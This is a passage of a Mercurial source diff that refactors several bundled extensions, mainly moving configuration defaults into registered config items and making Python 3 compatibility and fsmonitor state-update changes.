             ('refs/remotes/origin/', remoteprefix + '/'),
diff --git a/hgext/convert/hg.py b/hgext/convert/hg.py
--- a/hgext/convert/hg.py
+++ b/hgext/convert/hg.py
@@ -47,9 +47,9 @@
 class mercurial_sink(common.converter_sink):
     def __init__(self, ui, path):
         common.converter_sink.__init__(self, ui, path)
-        self.branchnames = ui.configbool('convert', 'hg.usebranchnames', True)
-        self.clonebranches = ui.configbool('convert', 'hg.clonebranches', False)
-        self.tagsbranch = ui.config('convert', 'hg.tagsbranch', 'default')
+        self.branchnames = ui.configbool('convert', 'hg.usebranchnames')
+        self.clonebranches = ui.configbool('convert', 'hg.clonebranches')
+        self.tagsbranch = ui.config('convert', 'hg.tagsbranch')
         self.lastbranch = None
         if os.path.isdir(path) and len(os.listdir(path)) > 0:
             try:
@@ -446,9 +446,9 @@
 class mercurial_source(common.converter_source):
     def __init__(self, ui, path, revs=None):
         common.converter_source.__init__(self, ui, path, revs)
-        self.ignoreerrors = ui.configbool('convert', 'hg.ignoreerrors', False)
+        self.ignoreerrors = ui.configbool('convert', 'hg.ignoreerrors')
         self.ignored = set()
-        self.saverev = ui.configbool('convert', 'hg.saverev', False)
+        self.saverev = ui.configbool('convert', 'hg.saverev')
         try:
             self.repo = hg.repository(self.ui, path)
             # try to provoke an exception if this isn't really a hg
diff --git a/hgext/convert/p4.py b/hgext/convert/p4.py
--- a/hgext/convert/p4.py
+++ b/hgext/convert/p4.py
@@ -32,9 +32,9 @@
     """Perforce escapes special characters @, #, *, or %
     with %40, %23, %2A, or %25 respectively
 
-    >>> decodefilename('portable-net45%252Bnetcore45%252Bwp8%252BMonoAndroid')
+    >>> decodefilename(b'portable-net45%252Bnetcore45%252Bwp8%252BMonoAndroid')
     'portable-net45%2Bnetcore45%2Bwp8%2BMonoAndroid'
-    >>> decodefilename('//Depot/Directory/%2525/%2523/%23%40.%2A')
+    >>> decodefilename(b'//Depot/Directory/%2525/%2523/%23%40.%2A')
     '//Depot/Directory/%25/%23/#@.*'
     """
     replacements = [('%2A', '*'), ('%23', '#'), ('%40', '@'), ('%25', '%')]
@@ -44,9 +44,6 @@
 
 class p4_source(common.converter_source):
     def __init__(self, ui, path, revs=None):
-        # avoid import cycle
-        from . import convcmd
-
         super(p4_source, self).__init__(ui, path, revs=revs)
 
         if "/" in path and not path.startswith('//'):
@@ -56,8 +53,7 @@
         common.checktool('p4', abort=False)
 
         self.revmap = {}
-        self.encoding = self.ui.config('convert', 'p4.encoding',
-                                       default=convcmd.orig_encoding)
+        self.encoding = self.ui.config('convert', 'p4.encoding')
         self.re_type = re.compile(
             "([a-z]+)?(text|binary|symlink|apple|resource|unicode|utf\d+)"
             "(\+\w+)?$")
@@ -138,7 +134,7 @@
         vieworder.sort(key=len, reverse=True)
 
         # handle revision limiting
-        startrev = self.ui.config('convert', 'p4.startrev', default=0)
+        startrev = self.ui.config('convert', 'p4.startrev')
 
         # now read the full changelists to get the list of file revisions
         ui.status(_('collecting p4 changelists\n'))
diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -61,16 +61,16 @@
 
 def revsplit(rev):
     """Parse a revision string and return (uuid, path, revnum).
-    >>> revsplit('svn:a2147622-4a9f-4db4-a8d3-13562ff547b2'
-    ...          '/proj%20B/mytrunk/mytrunk@1')
+    >>> revsplit(b'svn:a2147622-4a9f-4db4-a8d3-13562ff547b2'
+    ...          b'/proj%20B/mytrunk/mytrunk@1')
     ('a2147622-4a9f-4db4-a8d3-13562ff547b2', '/proj%20B/mytrunk/mytrunk', 1)
-    >>> revsplit('svn:8af66a51-67f5-4354-b62c-98d67cc7be1d@1')
+    >>> revsplit(b'svn:8af66a51-67f5-4354-b62c-98d67cc7be1d@1')
     ('', '', 1)
-    >>> revsplit('@7')
+    >>> revsplit(b'@7')
     ('', '', 7)
-    >>> revsplit('7')
+    >>> revsplit(b'7')
     ('', '', 0)
-    >>> revsplit('bad')
+    >>> revsplit(b'bad')
     ('', '', 0)
     """
     parts = rev.rsplit('@', 1)
@@ -103,7 +103,7 @@
         pass
     if os.path.isdir(path):
         path = os.path.normpath(os.path.abspath(path))
-        if pycompat.osname == 'nt':
+        if pycompat.iswindows:
             path = '/' + util.normpath(path)
         # Module URL is later compared with the repository URL returned
         # by svn API, which is UTF-8.
@@ -254,7 +254,7 @@
     try:
         proto, path = url.split('://', 1)
         if proto == 'file':
-            if (pycompat.osname == 'nt' and path[:1] == '/'
+            if (pycompat.iswindows and path[:1] == '/'
                   and path[1:2].isalpha() and path[2:6].lower() == '%3a/'):
                 path = path[:2] + ':/' + path[6:]
             path = urlreq.url2pathname(path)
@@ -352,9 +352,11 @@
                 raise error.Abort(_('svn: revision %s is not an integer') %
                                  revs[0])
 
-        self.trunkname = self.ui.config('convert', 'svn.trunk',
-                                        'trunk').strip('/')
-        self.startrev = self.ui.config('convert', 'svn.startrev', default=0)
+        trunkcfg = self.ui.config('convert', 'svn.trunk')
+        if trunkcfg is None:
+            trunkcfg = 'trunk'
+        self.trunkname = trunkcfg.strip('/')
+        self.startrev = self.ui.config('convert', 'svn.startrev')
         try:
             self.startrev = int(self.startrev)
             if self.startrev < 0:
@@ -1059,7 +1061,7 @@
         args = [self.baseurl, relpaths, start, end, limit,
                 discover_changed_paths, strict_node_history]
         # developer config: convert.svn.debugsvnlog
-        if not self.ui.configbool('convert', 'svn.debugsvnlog', True):
+        if not self.ui.configbool('convert', 'svn.debugsvnlog'):
             return directlogstream(*args)
         arg = encodeargs(args)
         hgexe = util.hgexecutable()
diff --git a/hgext/eol.py b/hgext/eol.py
--- a/hgext/eol.py
+++ b/hgext/eol.py
@@ -102,6 +102,7 @@
     extensions,
     match,
     pycompat,
+    registrar,
     util,
 )
 
@@ -111,6 +112,19 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('eol', 'fix-trailing-newline',
+    default=False,
+)
+configitem('eol', 'native',
+    default=pycompat.oslinesep,
+)
+configitem('eol', 'only-consistent',
+    default=True,
+)
+
 # Matches a lone LF, i.e., one that is not part of CRLF.
 singlelf = re.compile('(^|[^\r])\n')
 
@@ -121,9 +135,9 @@
     """Filter to convert to LF EOLs."""
     if util.binary(s):
         return s
-    if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
+    if ui.configbool('eol', 'only-consistent') and inconsistenteol(s):
         return s
-    if (ui.configbool('eol', 'fix-trailing-newline', False)
+    if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
         s = s + '\n'
     return util.tolf(s)
@@ -132,9 +146,9 @@
     """Filter to convert to CRLF EOLs."""
     if util.binary(s):
         return s
-    if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
+    if ui.configbool('eol', 'only-consistent') and inconsistenteol(s):
         return s
-    if (ui.configbool('eol', 'fix-trailing-newline', False)
+    if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
         s = s + '\n'
     return util.tocrlf(s)
@@ -166,7 +180,7 @@
 
         isrepolf = self.cfg.get('repository', 'native') != 'CRLF'
         self._encode['NATIVE'] = isrepolf and 'to-lf' or 'to-crlf'
-        iswdlf = ui.config('eol', 'native', pycompat.oslinesep) in ('LF', '\n')
+        iswdlf = ui.config('eol', 'native') in ('LF', '\n')
         self._decode['NATIVE'] = iswdlf and 'to-lf' or 'to-crlf'
 
         include = []
@@ -230,8 +244,22 @@
                   "at %s: %s\n") % (inst.args[1], inst.args[0]))
     return None
 
+def ensureenabled(ui):
+    """make sure the extension is enabled when used as hook
+
+    When eol is used through hooks, the extension is never formally loaded and
+    enabled. This has some side effect, for example the config declaration is
+    never loaded. This function ensure the extension is enabled when running
+    hooks.
+    """
+    if 'eol' in ui._knownconfig:
+        return
+    ui.setconfig('extensions', 'eol', '', source='internal')
+    extensions.loadall(ui, ['eol'])
+
 def _checkhook(ui, repo, node, headsonly):
     # Get revisions to check and touched files at the same time
+    ensureenabled(ui)
     files = set()
     revs = set()
     for rev in xrange(repo[node].rev(), len(repo)):
diff --git a/hgext/extdiff.py b/hgext/extdiff.py
--- a/hgext/extdiff.py
+++ b/hgext/extdiff.py
@@ -84,6 +84,20 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('extdiff', r'opts\..*',
+    default='',
+    generic=True,
+)
+
+configitem('diff-tools', r'.*\.diffargs$',
+    default=None,
+    generic=True,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -369,7 +383,7 @@
                 path = util.findexe(cmd)
                 if path is None:
                     path = filemerge.findexternaltool(ui, cmd) or cmd
-            diffopts = ui.config('extdiff', 'opts.' + cmd, '')
+            diffopts = ui.config('extdiff', 'opts.' + cmd)
             cmdline = util.shellquote(path)
             if diffopts:
                 cmdline += ' ' + diffopts
diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -18,6 +18,9 @@
 repository as necessary. You'll need to install Watchman from
 https://facebook.github.io/watchman/ and make sure it is in your PATH.
 
+fsmonitor is incompatible with the largefiles and eol extensions, and
+will disable itself if any of those are active.
+
 The following configuration options exist:
 
 ::
@@ -58,9 +61,22 @@
 that can outpace the IPC overhead of getting the result data for the full repo
 from Watchman. Defaults to false.
 
-fsmonitor is incompatible with the largefiles and eol extensions, and
-will disable itself if any of those are active.
+::
+
+    [fsmonitor]
+    warn_when_unused = (boolean)
+
+Whether to print a warning during certain operations when fsmonitor would be
+beneficial to performance but isn't enabled.
 
+::
+
+    [fsmonitor]
+    warn_update_file_count = (integer)
+
+If ``warn_when_unused`` is set and fsmonitor isn't enabled, a warning will
+be printed during working directory updates if this many files will be
+created.
 '''
 
 # Platforms Supported
@@ -96,8 +112,14 @@
 import os
 import stat
 import sys
+import weakref
 
 from mercurial.i18n import _
+from mercurial.node import (
+    hex,
+    nullid,
+)
+
 from mercurial import (
     context,
     encoding,
@@ -107,6 +129,7 @@
     merge,
     pathutil,
     pycompat,
+    registrar,
     scmutil,
     util,
 )
@@ -124,6 +147,28 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fsmonitor', 'mode',
+    default='on',
+)
+configitem('fsmonitor', 'walk_on_invalidate',
+    default=False,
+)
+configitem('fsmonitor', 'timeout',
+    default='2',
+)
+configitem('fsmonitor', 'blacklistusers',
+    default=list,
+)
+configitem('experimental', 'fsmonitor.transaction_notify',
+    default=False,
+)
+configitem('experimental', 'fsmonitor.wc_change_notify',
+    default=False,
+)
+
 # This extension is incompatible with the following blacklisted extensions
 # and will disable itself when encountering one of these:
 _blacklist = ['largefiles', 'eol']
@@ -228,10 +273,10 @@
 
     matchfn = match.matchfn
     matchalways = match.always()
-    dmap = self._map
-    nonnormalset = getattr(self, '_nonnormalset', None)
+    dmap = self._map._map
+    nonnormalset = self._map.nonnormalset
 
-    copymap = self._copymap
+    copymap = self._map.copymap
     getkind = stat.S_IFMT
     dirkind = stat.S_IFDIR
     regkind = stat.S_IFREG
@@ -359,7 +404,7 @@
     visit = set((f for f in notefiles if (f not in results and matchfn(f)
                                           and (f in dmap or not ignore(f)))))
 
-    if nonnormalset is not None and not fresh_instance:
+    if not fresh_instance:
         if matchalways:
             visit.update(f for f in nonnormalset if f not in results)
             visit.update(f for f in copymap if f not in results)
@@ -370,15 +415,11 @@
                          if f not in results and matchfn(f))
     else:
         if matchalways:
-            visit.update(f for f, st in dmap.iteritems()
-                         if (f not in results and
-                             (st[2] < 0 or st[0] != 'n' or fresh_instance)))
+            visit.update(f for f, st in dmap.iteritems() if f not in results)
             visit.update(f for f in copymap if f not in results)
         else:
             visit.update(f for f, st in dmap.iteritems()
-                         if (f not in results and
-                             (st[2] < 0 or st[0] != 'n' or fresh_instance)
-                             and matchfn(f)))
+                         if f not in results and matchfn(f))
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
@@ -538,11 +579,12 @@
 
 def makedirstate(repo, dirstate):
     class fsmonitordirstate(dirstate.__class__):
-        def _fsmonitorinit(self, fsmonitorstate, watchmanclient):
+        def _fsmonitorinit(self, repo):
             # _fsmonitordisable is used in paranoid mode
             self._fsmonitordisable = False
-            self._fsmonitorstate = fsmonitorstate
-            self._watchmanclient = watchmanclient
+            self._fsmonitorstate = repo._fsmonitorstate
+            self._watchmanclient = repo._watchmanclient
+            self._repo = weakref.proxy(repo)
 
         def walk(self, *args, **kwargs):
             orig = super(fsmonitordirstate, self).walk
@@ -558,8 +600,16 @@
             self._fsmonitorstate.invalidate()
             return super(fsmonitordirstate, self).invalidate(*args, **kwargs)
 
+        if dirstate._ui.configbool(
+            "experimental", "fsmonitor.wc_change_notify"):
+            def setparents(self, p1, p2=nullid):
+                with state_update(self._repo, name="hg.wc_change",
+                                  oldnode=self._pl[0], newnode=p1,
+                                  partial=False):
+                    return super(fsmonitordirstate, self).setparents(p1, p2)
+
     dirstate.__class__ = fsmonitordirstate
-    dirstate._fsmonitorinit(repo._fsmonitorstate, repo._watchmanclient)
+    dirstate._fsmonitorinit(repo)
 
 def wrapdirstate(orig, self):
     ds = orig(self)
@@ -571,7 +621,7 @@
 def extsetup(ui):
     extensions.wrapfilecache(
         localrepo.localrepository, 'dirstate', wrapdirstate)
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # An assist for avoiding the dangling-symlink fsevents bug
         extensions.wrapfunction(os, 'symlink', wrapsymlink)
 
@@ -590,47 +640,74 @@
 
 class state_update(object):
     ''' This context manager is responsible for dispatching the state-enter
-        and state-leave signals to the watchman service '''
+        and state-leave signals to the watchman service. The enter and leave
+        methods can be invoked manually (for scenarios where context manager
+        semantics are not possible). If parameters oldnode and newnode are None,
+        they will be populated based on current working copy in enter and
+        leave, respectively. Similarly, if the distance is none, it will be
+        calculated based on the oldnode and newnode in the leave method.'''
 
-    def __init__(self, repo, node, distance, partial):
-        self.repo = repo
-        self.node = node
+    def __init__(self, repo, name, oldnode=None, newnode=None, distance=None,
+                 partial=False):
+        self.repo = repo.unfiltered()
+        self.name = name
+        self.oldnode = oldnode
+        self.newnode = newnode
         self.distance = distance
         self.partial = partial
         self._lock = None
         self.need_leave = False
 
     def __enter__(self):
+        self.enter()
+
+    def enter(self):
         # We explicitly need to take a lock here, before we proceed to update
         # watchman about the update operation, so that we don't race with
         # some other actor.  merge.update is going to take the wlock almost
         # immediately anyway, so this is effectively extending the lock
         # around a couple of short sanity checks.
+        if self.oldnode is None:
+            self.oldnode = self.repo['.'].node()
         self._lock = self.repo.wlock()
-        self.need_leave = self._state('state-enter')
+        self.need_leave = self._state(
+            'state-enter',
+            hex(self.oldnode))
         return self
 
     def __exit__(self, type_, value, tb):
+        abort = True if type_ else False
+        self.exit(abort=abort)
+
+    def exit(self, abort=False):
         try:
             if self.need_leave:
-                status = 'ok' if type_ is None else 'failed'
-                self._state('state-leave', status=status)
+                status = 'failed' if abort else 'ok'
+                if self.newnode is None:
+                    self.newnode = self.repo['.'].node()
+                if self.distance is None:
+                    self.distance = calcdistance(
+                        self.repo, self.oldnode, self.newnode)
+                self._state(
+                    'state-leave',
+                    hex(self.newnode),
+                    status=status)
         finally:
+            self.need_leave = False
             if self._lock:
                 self._lock.release()
 
-    def _state(self, cmd, status='ok'):
+    def _state(self, cmd, commithash, status='ok'):
         if not util.safehasattr(self.repo, '_watchmanclient'):
             return False
         try:
-            commithash = self.repo[self.node].hex()
             self.repo._watchmanclient.command(cmd, {
-                'name': 'hg.update',
+                'name': self.name,
                 'metadata': {
                     # the target revision
                     'rev': commithash,
                     # approximate number of commits between current and target
-                    'distance': self.distance,
+                    'distance': self.distance if self.distance else 0,
                     # success/failure (only really meaningful for state-leave)
                     'status': status,
                     # whether the working copy parent is changing
@@ -643,6 +720,14 @@
                 'watchman', 'Exception %s while running %s\n', e, cmd)
             return False
 
+# Estimate the distance between two nodes
+def calcdistance(repo, oldnode, newnode):
+    anc = repo.changelog.ancestor(oldnode, newnode)
+    ancrev = repo[anc].rev()
+    distance = (abs(repo[oldnode].rev() - ancrev)
+        + abs(repo[newnode].rev() - ancrev))
+    return distance
+
 # Bracket working copy updates with calls to the watchman state-enter
 # and state-leave commands.  This allows clients to perform more intelligent
 # settling during bulk file change scenarios
@@ -652,18 +737,14 @@
 
     distance = 0
     partial = True
+    oldnode = repo['.'].node()
+    newnode = repo[node].node()
     if matcher is None or matcher.always():
         partial = False
-        wc = repo[None]
-        parents = wc.parents()
-        if len(parents) == 2:
-            anc = repo.changelog.ancestor(parents[0].node(), parents[1].node())
-            ancrev = repo[anc].rev()
-            distance = abs(repo[node].rev() - ancrev)
-        elif len(parents) == 1:
-            distance = abs(repo[node].rev() - parents[0].rev())
+        distance = calcdistance(repo.unfiltered(), oldnode, newnode)
 
-    with state_update(repo, node, distance, partial):
+    with state_update(repo, name="hg.update", oldnode=oldnode, newnode=newnode,
+                      distance=distance, partial=partial):
         return orig(
             repo, node, branchmerge, force, ancestor, mergeancestor,
             labels, matcher, **kwargs)
@@ -709,4 +790,32 @@
                 orig = super(fsmonitorrepo, self).status
                 return overridestatus(orig, self, *args, **kwargs)
 
+            if ui.configbool("experimental", "fsmonitor.transaction_notify"):
+                def transaction(self, *args, **kwargs):
+                    tr = super(fsmonitorrepo, self).transaction(
+                               *args, **kwargs)
+                    if tr.count != 1:
+                        return tr
+                    stateupdate = state_update(self, name="hg.transaction")
+                    stateupdate.enter()
+
+                    class fsmonitortrans(tr.__class__):
+                        def _abort(self):
+                            try:
+                                result = super(fsmonitortrans, self)._abort()
+                            finally:
+                                stateupdate.exit(abort=True)
+                            return result
+
+                        def close(self):
+                            try:
+                                result = super(fsmonitortrans, self).close()
+                            finally:
+                                if self.count == 0:
+                                    stateupdate.exit()
+                            return result
+
+                    tr.__class__ = fsmonitortrans
+                    return tr
+
         repo.__class__ = fsmonitorrepo
diff --git a/hgext/fsmonitor/pywatchman/__init__.py b/hgext/fsmonitor/pywatchman/__init__.py
--- a/hgext/fsmonitor/pywatchman/__init__.py
+++ b/hgext/fsmonitor/pywatchman/__init__.py
@@ -825,7 +825,7 @@
             p = subprocess.Popen(cmd, **args)
 
         except OSError as e:
-            raise WatchmanError('"watchman" executable not in PATH (%s)', e)
+            raise WatchmanError('"watchman" executable not in PATH (%s)' % e)
 
         stdout, stderr = p.communicate()
         exitcode = p.poll()
diff --git a/hgext/fsmonitor/state.py b/hgext/fsmonitor/state.py
--- a/hgext/fsmonitor/state.py
+++ b/hgext/fsmonitor/state.py
@@ -29,11 +29,10 @@
         self._lastclock = None
         self._identity = util.filestat(None)
 
-        self.mode = self._ui.config('fsmonitor', 'mode', default='on')
+        self.mode = self._ui.config('fsmonitor', 'mode')
         self.walk_on_invalidate = self._ui.configbool(
-            'fsmonitor', 'walk_on_invalidate', False)
-        self.timeout = float(self._ui.config(
-            'fsmonitor', 'timeout', default='2'))
+            'fsmonitor', 'walk_on_invalidate')
+        self.timeout = float(self._ui.config('fsmonitor', 'timeout'))
 
     def get(self):
         try:
diff --git a/hgext/gpg.py b/hgext/gpg.py
--- a/hgext/gpg.py
+++ b/hgext/gpg.py
@@ -30,6 +30,20 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('gpg', 'cmd',
+    default='gpg',
+)
+configitem('gpg', 'key',
+    default=None,
+)
+configitem('gpg', '.*',
+    default=None,
+    generic=True,
+)
+
 class gpg(object):
     def __init__(self, path, key=None):
         self.path = path
@@ -91,10 +105,10 @@
 
 def newgpg(ui, **opts):
     """create a new gpg instance"""
-    gpgpath = ui.config("gpg", "cmd", "gpg")
+    gpgpath = ui.config("gpg", "cmd")
     gpgkey = opts.get('key')
     if not gpgkey:
-        gpgkey = ui.config("gpg", "key", None)
+        gpgkey = ui.config("gpg", "key")
     return gpg(gpgpath, gpgkey)
 
 def sigwalk(repo):
@@ -206,7 +220,7 @@
 def keystr(ui, key):
     """associate a string to a key (username, comment)"""
     keyid, user, fingerprint = key
-    comment = ui.config("gpg", fingerprint, None)
+    comment = ui.config("gpg", fingerprint)
     if comment:
         return "%s (%s)" % (user, comment)
     else:
diff --git a/hgext/hgk.py b/hgext/hgk.py
--- a/hgext/hgk.py
+++ b/hgext/hgk.py
@@ -50,6 +50,7 @@
     patch,
     registrar,
     scmutil,
+    util,
 )
 
 cmdtable = {}
@@ -60,6 +61,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('hgk', 'path',
+    default='hgk',
+)
+
 @command('debug-diff-tree',
     [('p', 'patch', None, _('generate patch')),
     ('r', 'recursive', None, _('recursive')),
@@ -96,7 +104,7 @@
     while True:
         if opts['stdin']:
             try:
-                line = raw_input().split(' ')
+                line = util.bytesinput(ui.fin, ui.fout).split(' ')
                 node1 = line[0]
                 if len(line) > 1:
                     node2 = line[1]
@@ -177,7 +185,7 @@
     prefix = ""
     if opts['stdin']:
         try:
-            (type, r) = raw_input().split(' ')
+            (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             prefix = "    "
         except EOFError:
             return
@@ -195,7 +203,7 @@
         catcommit(ui, repo, n, prefix)
         if opts['stdin']:
             try:
-                (type, r) = raw_input().split(' ')
+                (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             except EOFError:
                 break
         else:
@@ -345,6 +353,6 @@
     if repo.filtername is None:
         optstr += '--hidden'
 
-    cmd = ui.config("hgk", "path", "hgk") + " %s %s" % (optstr, " ".join(etc))
+    cmd = ui.config("hgk", "path") + " %s %s" % (optstr, " ".join(etc))
     ui.debug("running %s\n" % cmd)
     ui.system(cmd, blockedtag='hgk_view')
diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -39,6 +39,7 @@
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
+ #  b, base = checkout changeset and apply further changesets from there
  #
 
 In this file, lines beginning with ``#`` are ignored. You must specify a rule
@@ -61,6 +62,7 @@
  #  r, roll = like fold, but discard this commit's description and date
  #  d, drop = remove commit from history
  #  m, mess = edit commit message without changing commit content
+ #  b, base = checkout changeset and apply further changesets from there
  #
 
 At which point you close the editor and ``histedit`` starts working. When you
@@ -188,6 +190,7 @@
 from mercurial import (
     bundle2,
     cmdutil,
+    configitems,
     context,
     copies,
     destutil,
@@ -212,6 +215,24 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+configitem('experimental', 'histedit.autoverb',
+    default=False,
+)
+configitem('histedit', 'defaultrev',
+    default=configitems.dynamicdefault,
+)
+configitem('histedit', 'dropmissing',
+    default=False,
+)
+configitem('histedit', 'linelen',
+    default=80,
+)
+configitem('histedit', 'singletransaction',
+    default=False,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -442,7 +463,7 @@
         line = '%s %s %d %s' % (self.verb, ctx, ctx.rev(), summary)
         # trim to 75 columns by default so it's not stupidly wide in my editor
         # (the 5 more are left for verb)
-        maxlen = self.repo.ui.configint('histedit', 'linelen', default=80)
+        maxlen = self.repo.ui.configint('histedit', 'linelen')
         maxlen = max(maxlen, 22) # avoid truncating hash
         return util.ellipsis(line, maxlen)
 
@@ -793,6 +814,8 @@
             replacements.append((ich, (n,)))
         return repo[n], replacements
 
+@action(['base', 'b'],
+        _('checkout changeset and apply further changesets from there'))
 class base(histeditaction):
 
     def run(self):
@@ -883,7 +906,6 @@
         raise error.Abort(msg, hint=hint)
     return repo.lookup(roots[0])
 
-
 @command('histedit',
     [('', 'commands', '',
       _('read history edits from the specified file'), _('FILE')),
@@ -916,6 +938,8 @@
 
     - `edit` to edit this changeset (preserving date)
 
+    - `base` to checkout changeset and apply further changesets from there
+
     There are a number of ways to select the root changeset:
 
     - Specify ANCESTOR directly
@@ -1117,7 +1141,7 @@
     # Don't use singletransaction by default since it rolls the entire
     # transaction back if an unexpected exception happens (like a
     # pretxncommit hook throws, or the user aborts the commit msg editor).
-    if ui.configbool("histedit", "singletransaction", False):
+    if ui.configbool("histedit", "singletransaction"):
         # Don't use a 'with' for the transaction, since actions may close
         # and reopen a transaction. For example, if the action executes an
         # external process it may choose to commit the transaction first.
@@ -1370,7 +1394,7 @@
     rules += '\n\n'
     rules += editcomment
     rules = ui.edit(rules, ui.username(), {'prefix': 'histedit'},
-                    repopath=repo.path)
+                    repopath=repo.path, action='histedit')
 
     # Save edit rules in .hg/histedit-last-edit.txt in case
     # the user needs to ask for help after something
@@ -1417,6 +1441,11 @@
     expected = set(c.node() for c in ctxs)
     seen = set()
     prev = None
+
+    if actions and actions[0].verb in ['roll', 'fold']:
+        raise error.ParseError(_('first changeset cannot use verb "%s"') %
+                               actions[0].verb)
+
     for action in actions:
         action.verify(prev, expected, seen)
         prev = action
@@ -1604,7 +1633,3 @@
          _("use 'hg histedit --continue' or 'hg histedit --abort'")])
     cmdutil.afterresolvedstates.append(
         ['histedit-state', _('hg histedit --continue')])
-    if ui.configbool("experimental", "histeditng"):
-        globals()['base'] = action(['base', 'b'],
-            _('checkout changeset and apply further changesets from there')
-        )(base)
diff --git a/hgext/journal.py b/hgext/journal.py
--- a/hgext/journal.py
+++ b/hgext/journal.py
@@ -342,7 +342,7 @@
         with self.jlock(vfs):
             version = None
             # open file in amend mode to ensure it is created if missing
-            with vfs('namejournal', mode='a+b', atomictemp=True) as f:
+            with vfs('namejournal', mode='a+b') as f:
                 f.seek(0, os.SEEK_SET)
                 # Read just enough bytes to get a version number (up to 2
                 # digits plus separator)
diff --git a/hgext/keyword.py b/hgext/keyword.py
--- a/hgext/keyword.py
+++ b/hgext/keyword.py
@@ -143,6 +143,12 @@
 
 templatefilter = registrar.templatefilter()
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('keywordset', 'svn',
+    default=False,
+)
 # date like in cvs' $Date
 @templatefilter('utcdate')
 def utcdate(text):
@@ -614,14 +620,14 @@
         if kwt:
             kwt.match = origmatch
 
-def kw_amend(orig, ui, repo, commitfunc, old, extra, pats, opts):
+def kw_amend(orig, ui, repo, old, extra, pats, opts):
     '''Wraps cmdutil.amend expanding keywords after amend.'''
     kwt = getattr(repo, '_keywordkwt', None)
     if kwt is None:
-        return orig(ui, repo, commitfunc, old, extra, pats, opts)
+        return orig(ui, repo, old, extra, pats, opts)
     with repo.wlock():
         kwt.postcommit = True
-        newid = orig(ui, repo, commitfunc, old, extra, pats, opts)
+        newid = orig(ui, repo, old, extra, pats, opts)
         if newid != old.node():
             ctx = repo[newid]
             kwt.restrict = True
diff --git a/hgext/largefiles/__init__.py b/hgext/largefiles/__init__.py
--- a/hgext/largefiles/__init__.py
+++ b/hgext/largefiles/__init__.py
@@ -91,7 +91,7 @@
   [largefiles]
   patterns =
     *.jpg
-    re:.*\.(png|bmp)$
+    re:.*\\.(png|bmp)$
     library.zip
     content/audio/*
 
@@ -107,8 +107,10 @@
 from __future__ import absolute_import
 
 from mercurial import (
+    configitems,
     hg,
     localrepo,
+    registrar,
 )
 
 from . import (
@@ -125,6 +127,19 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('largefiles', 'minsize',
+    default=configitems.dynamicdefault,
+)
+configitem('largefiles', 'patterns',
+    default=list,
+)
+configitem('largefiles', 'usercache',
+    default=None,
+)
+
 reposetup = reposetup.reposetup
 
 def featuresetup(ui, supported):
diff --git a/hgext/largefiles/lfcommands.py b/hgext/largefiles/lfcommands.py
--- a/hgext/largefiles/lfcommands.py
+++ b/hgext/largefiles/lfcommands.py
@@ -109,7 +109,7 @@
             lfiles = set()
             normalfiles = set()
             if not pats:
-                pats = ui.configlist(lfutil.longname, 'patterns', default=[])
+                pats = ui.configlist(lfutil.longname, 'patterns')
             if pats:
                 matcher = matchmod.match(rsrc.root, '', list(pats))
             else:
@@ -422,14 +422,13 @@
     return ([], [])
 
 def downloadlfiles(ui, repo, rev=None):
-    matchfn = scmutil.match(repo[None],
-                            [repo.wjoin(lfutil.shortname)], {})
+    match = scmutil.match(repo[None], [repo.wjoin(lfutil.shortname)], {})
     def prepare(ctx, fns):
         pass
     totalsuccess = 0
     totalmissing = 0
     if rev != []: # walkchangerevs on empty list would return all revs
-        for ctx in cmdutil.walkchangerevs(repo, matchfn, {'rev' : rev},
+        for ctx in cmdutil.walkchangerevs(repo, match, {'rev' : rev},
                                           prepare):
             success, missing = cachelfiles(ui, repo, ctx.node())
             totalsuccess += len(success)
diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -12,7 +12,6 @@
 import copy
 import hashlib
 import os
-import platform
 import stat
 
 from mercurial.i18n import _
@@ -72,19 +71,19 @@
 
 def _usercachedir(ui):
     '''Return the location of the "global" largefiles cache.'''
-    path = ui.configpath(longname, 'usercache', None)
+    path = ui.configpath(longname, 'usercache')
     if path:
         return path
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
